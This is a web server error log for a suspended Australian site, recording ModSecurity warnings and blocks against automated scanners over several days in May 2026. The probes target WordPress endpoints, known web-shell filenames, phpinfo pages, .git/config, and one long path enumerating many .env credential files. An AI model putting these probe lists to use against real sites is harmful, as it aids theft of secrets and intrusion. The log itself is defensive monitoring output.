[Thu May 07 19:12:45.543908 2026] [:error] [pid 15629:tid 15655] [client 118.107.44.123:1563] [client 118.107.44.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.107.44.123, incrementing ddos counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afxzrfrIJCALdUrO43l0MgAAABY"]
[Thu May 07 19:12:45.547229 2026] [:error] [pid 15629:tid 15655] [client 118.107.44.123:1563] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu May 07 20:38:11.142468 2026] [:error] [pid 15715:tid 15736] [client 34.41.82.126:61387] [client 34.41.82.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.41.82.126, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afyHsyY4dZsLOttMkcekqgAAARA"]
[Thu May 07 20:38:11.146302 2026] [:error] [pid 15715:tid 15736] [client 34.41.82.126:61387] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu May 07 20:38:11.370391 2026] [:error] [pid 15715:tid 15742] [client 34.41.82.126:61387] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afyHsyY4dZsLOttMkcekqwAAARY"]
[Thu May 07 20:38:11.835872 2026] [:error] [pid 15629:tid 15634] [client 34.41.82.126:56694] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "afyHs_rIJCALdUrO43l7qAAAAAE"]
[Thu May 07 20:38:12.333115 2026] [:error] [pid 15630:tid 15665] [client 34.41.82.126:53798] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "afyHtHTithRAi4821qu25wAAAIU"]
[Thu May 07 20:38:12.763725 2026] [:error] [pid 15715:tid 15720] [client 34.41.82.126:49573] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "afyHtCY4dZsLOttMkceksAAAAQM"]
[Thu May 07 20:38:13.221249 2026] [:error] [pid 15629:tid 15650] [client 34.41.82.126:63342] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "afyHtfrIJCALdUrO43l7qQAAABE"]
[Thu May 07 20:38:13.634489 2026] [:error] [pid 15630:tid 15671] [client 34.41.82.126:65067] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "afyHtXTithRAi4821qu28gAAAIs"]
[Thu May 07 20:38:14.057032 2026] [:error] [pid 15630:tid 15668] [client 34.41.82.126:55537] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "afyHtnTithRAi4821qu29gAAAIg"]
[Thu May 07 20:38:14.527173 2026] [:error] [pid 15631:tid 15697] [client 34.41.82.126:63358] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "afyHtnvP1GkPUuuLfqVApAAAAMo"]
[Thu May 07 20:38:14.939533 2026] [:error] [pid 15629:tid 15655] [client 34.41.82.126:63280] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "afyHtvrIJCALdUrO43l7rQAAABY"]
[Thu May 07 20:38:15.336311 2026] [:error] [pid 15631:tid 15703] [client 34.41.82.126:61517] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "afyHt3vP1GkPUuuLfqVAqQAAANA"]
[Thu May 07 20:38:15.842264 2026] [:error] [pid 15631:tid 15695] [client 34.41.82.126:62227] [client 34.41.82.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afyHt3vP1GkPUuuLfqVArgAAAMg"]
[Thu May 07 23:18:08.817024 2026] [:error] [pid 15715:tid 15723] [client 158.173.67.93:25721] [client 158.173.67.93] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afytMCY4dZsLOttMkcfTgwAAAQY"]
[Fri May 08 01:40:31.038629 2026] [:error] [pid 15715:tid 15741] [client 45.131.193.74:26837] [client 45.131.193.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.193.74, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "afzOjyY4dZsLOttMkcf-mAAAARU"]
[Fri May 08 01:40:31.043591 2026] [:error] [pid 15715:tid 15741] [client 45.131.193.74:26837] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri May 08 03:51:53.421825 2026] [:error] [pid 51009:tid 51087] [client 160.238.109.243:45825] [client 160.238.109.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.109.243, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afztWeB0GbUWhxgzX9V2tAAAAIs"]
[Fri May 08 03:51:53.421853 2026] [:error] [pid 51009:tid 51082] [client 160.238.109.243:45826] [client 160.238.109.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.109.243, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afztWeB0GbUWhxgzX9V2tQAAAIY"]
[Fri May 08 03:51:53.426874 2026] [:error] [pid 51009:tid 51087] [client 160.238.109.243:45825] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 08 03:51:53.427878 2026] [:error] [pid 51009:tid 51082] [client 160.238.109.243:45826] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 08 06:22:19.712054 2026] [:error] [pid 51113:tid 51117] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet.php
[Fri May 08 06:22:19.802677 2026] [:error] [pid 51113:tid 51139] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Fri May 08 06:22:19.895375 2026] [:error] [pid 51113:tid 51134] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Fri May 08 06:22:19.995821 2026] [:error] [pid 51113:tid 51130] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Fri May 08 06:22:20.088924 2026] [:error] [pid 51113:tid 51135] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/a.php
[Fri May 08 06:22:20.179756 2026] [:error] [pid 51113:tid 51131] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Fri May 08 06:22:20.273417 2026] [:error] [pid 51113:tid 51136] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php
[Fri May 08 06:22:20.364877 2026] [:error] [pid 51113:tid 51121] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Fri May 08 06:22:20.457422 2026] [:error] [pid 51113:tid 51119] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri May 08 06:22:20.640604 2026] [:error] [pid 51113:tid 51132] [client 4.193.137.131:6613] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri May 08 06:22:20.728502 2026] [:error] [pid 51113:tid 51138] [client 4.193.137.131:6613] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "af0QnEQfs7sWtqkpQIcn8QAAANc"]
[Fri May 08 06:22:21.084854 2026] [:error] [pid 34318:tid 34338] [client 4.193.137.131:6282] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "af0Qncr3guirgJiKhzB5AgAAARI"]
[Fri May 08 06:22:21.439158 2026] [:error] [pid 51007:tid 51024] [client 4.193.137.131:6292] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "af0QnVMagSGstWKyzzV6UgAAAAI"]
[Fri May 08 06:22:21.792135 2026] [:error] [pid 51009:tid 51082] [client 4.193.137.131:6284] [client 4.193.137.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "af0QneB0GbUWhxgzX9WtVwAAAIY"]
[Fri May 08 07:02:45.905720 2026] [:error] [pid 61355:tid 61384] [client 34.21.191.253:32878] [client 34.21.191.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "af0aFfkhJTi30CBXmMnHywAAAZc"]
[Fri May 08 11:39:30.747162 2026] [:error] [pid 34318:tid 34334] [client 34.165.19.209:57416] [client 34.165.19.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "af1a8sr3guirgJiKhzCnJQAAAQ4"]
[Fri May 08 15:28:56.968858 2026] [:error] [pid 61355:tid 61367] [client 34.122.144.100:52823] [client 34.122.144.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "af2QuPkhJTi30CBXmMlepAAAAYY"]
[Fri May 08 15:28:57.413275 2026] [:error] [pid 61317:tid 61343] [client 34.122.144.100:60214] [client 34.122.144.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "af2Quc-fFk_CedOCOYuUQgAAAVc"]
[Fri May 08 15:28:57.796532 2026] [:error] [pid 34318:tid 34325] [client 34.122.144.100:56202] [client 34.122.144.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "af2Qucr3guirgJiKhzC7mAAAAQU"]
[Fri May 08 19:46:00.557735 2026] [:error] [pid 61355:tid 61377] [client 194.233.94.134:56631] [client 194.233.94.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/DOMAIN-INI-HAPUS-SAJA-GA-VULN"] [unique_id "af3M-PkhJTi30CBXmMmkjwAAAZA"]
[Fri May 08 21:16:10.459677 2026] [:error] [pid 61355:tid 61373] [client 34.10.76.198:63639] [client 34.10.76.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.76.198, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "af3iGvkhJTi30CBXmMm_iAAAAYw"]
[Fri May 08 21:16:10.462926 2026] [:error] [pid 61355:tid 61373] [client 34.10.76.198:63639] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 08 21:16:10.875590 2026] [:error] [pid 61355:tid 61368] [client 34.10.76.198:63639] [client 34.10.76.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "af3iGvkhJTi30CBXmMm_jQAAAYc"]
[Fri May 08 21:16:11.279331 2026] [:error] [pid 51009:tid 51077] [client 34.10.76.198:57195] [client 34.10.76.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "af3iG-B0GbUWhxgzX9VK-wAAAIE"]
[Fri May 08 21:16:11.660870 2026] [:error] [pid 51009:tid 51090] [client 34.10.76.198:59267] [client 34.10.76.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "af3iG-B0GbUWhxgzX9VK_AAAAI4"]
[Fri May 08 21:16:12.060331 2026] [:error] [pid 61317:tid 61325] [client 34.10.76.198:51338] [client 34.10.76.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "af3iHM-fFk_CedOCOYvR-AAAAUU"]
[Fri May 08 21:16:12.475381 2026] [:error] [pid 51009:tid 51078] [client 34.10.76.198:60854] [client 34.10.76.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "af3iHOB0GbUWhxgzX9VLAAAAAII"]
[Fri May 08 21:16:12.880161 2026] [:error] [pid 51113:tid 51129] [client 34.10.76.198:64232] [client 34.10.76.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "af3iHEQfs7sWtqkpQId-7gAAAM4"]
[Fri May 08 21:16:13.281579 2026] [:error] [pid 61356:tid 61397] [client 34.10.76.198:51665] [client 34.10.76.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "af3iHYx3vpB8oWhUq2PAzAAAAck"]
[Fri May 08 23:09:40.348715 2026] [:error] [pid 51009:tid 51091] [client 197.249.122.205:63635] [client 197.249.122.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.249.122.205, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "af38tOB0GbUWhxgzX9VmmQAAAI8"]
[Fri May 08 23:09:40.353995 2026] [:error] [pid 51009:tid 51091] [client 197.249.122.205:63635] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat May 09 00:05:11.203520 2026] [:error] [pid 61355:tid 61382] [client 189.130.254.91:64514] [client 189.130.254.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.130.254.91, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "af4Jt_khJTi30CBXmMn8XQAAAZU"]
[Sat May 09 00:05:11.208592 2026] [:error] [pid 61355:tid 61382] [client 189.130.254.91:64514] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat May 09 01:24:04.060509 2026] [:error] [pid 61355:tid 61369] [client 18.140.197.47:60816] [client 18.140.197.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "af4cNPkhJTi30CBXmMko2QAAAYg"]
[Sat May 09 01:24:05.292582 2026] [:error] [pid 61355:tid 61374] [client 18.140.197.47:60840] [client 18.140.197.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4cNfkhJTi30CBXmMko7gAAAY0"]
[Sat May 09 01:24:05.888306 2026] [:error] [pid 61355:tid 61368] [client 18.140.197.47:60856] File does not exist: /usr/local/apache/htdocs/suspended-page/phpinfo.php
[Sat May 09 01:24:06.120308 2026] [:error] [pid 61355:tid 61366] [client 18.140.197.47:60856] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Sat May 09 01:24:06.250795 2026] [:error] [pid 61355:tid 61361] [client 18.140.197.47:60856] File does not exist: /usr/local/apache/htdocs/suspended-page/php.php
[Sat May 09 01:24:06.396747 2026] [:error] [pid 61355:tid 61365] [client 18.140.197.47:60856] File does not exist: /usr/local/apache/htdocs/suspended-page/i.php
[Sat May 09 01:24:06.522327 2026] [:error] [pid 61355:tid 61383] [client 18.140.197.47:60856] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pi.php"] [unique_id "af4cNvkhJTi30CBXmMkpCgAAAZY"]
[Sat May 09 01:24:07.404429 2026] [:error] [pid 61356:tid 61402] [client 18.140.197.47:60924] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pinfo.php"] [unique_id "af4cN4x3vpB8oWhUq2Mi8QAAAc4"]
[Sat May 09 01:24:08.227218 2026] [:error] [pid 61355:tid 61377] [client 18.140.197.47:37746] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "af4cOPkhJTi30CBXmMkpGwAAAZA"]
[Sat May 09 01:24:09.011273 2026] [:error] [pid 34318:tid 34336] [client 18.140.197.47:37810] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpinfo"] [unique_id "af4cOcr3guirgJiKhzACAgAAARA"]
[Sat May 09 01:24:09.896289 2026] [:error] [pid 61355:tid 61369] [client 18.140.197.47:37852] [client 18.140.197.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "af4cOfkhJTi30CBXmMkpMgAAAYg"]
